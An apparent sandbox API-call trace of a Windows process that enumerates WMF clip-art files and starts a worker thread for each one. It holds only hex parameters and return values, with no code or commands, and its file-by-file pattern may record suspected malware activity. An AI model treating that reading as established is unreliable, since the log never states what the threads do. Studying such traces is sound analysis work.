	[0275.878] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.879] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1
	[0275.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2644
	[0275.880] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.881] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1
	[0275.881] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2648
	[0275.883] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.884] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1
	[0275.884] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264c
	[0275.887] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.887] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1
	[0275.887] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2650
	[0275.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.890] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1
	[0275.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7f690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2654
	[0275.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.892] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1
	[0275.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc82d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2658
	[0275.894] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.895] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1
	[0275.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc86450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x265c
	[0275.897] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.898] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1
	[0275.898] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc8d210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2660
	[0275.899] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.900] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1
	[0275.900] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc908f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2664
	[0275.902] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.903] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1
	[0275.903] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc93fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2668
	[0275.904] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.905] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1
	[0275.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0275.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc976b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x266c
	[0276.091] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.092] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1
	[0276.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9ad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2670
	[0276.095] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.095] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1
	[0276.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc9e470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2674
	[0276.099] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.100] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1
	[0276.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca1b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2678
	[0276.101] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.102] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1
	[0276.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca5230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x267c
	[0276.104] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.105] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1
	[0276.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fca8910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2680
	[0276.107] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.108] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1
	[0276.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcabff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2684
	[0276.110] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.110] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1
	[0276.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcaf6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2688
	[0276.113] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.114] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1
	[0276.114] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb2db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268c
	[0276.116] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.117] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1
	[0276.117] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb6490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2690
	[0276.119] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.120] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1
	[0276.120] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcb9b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2694
	[0276.122] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.122] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1
	[0276.122] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcbd250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2698
	[0276.125] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.125] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1
	[0276.125] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fcc0930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x269c
	[0276.421] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.422] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1
	[0276.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c4
	[0276.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.883] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1
	[0276.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c8
	[0276.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.886] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1
	[0276.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26cc
	[0276.887] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.888] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1
	[0276.888] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
